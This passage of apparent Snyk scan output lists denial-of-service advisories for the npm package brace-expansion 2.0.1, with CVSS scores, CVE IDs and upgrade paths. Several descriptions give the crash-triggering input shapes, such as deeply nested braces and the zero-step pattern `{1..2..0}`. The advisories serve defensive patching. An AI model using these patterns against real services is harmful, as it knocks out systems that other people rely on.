"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
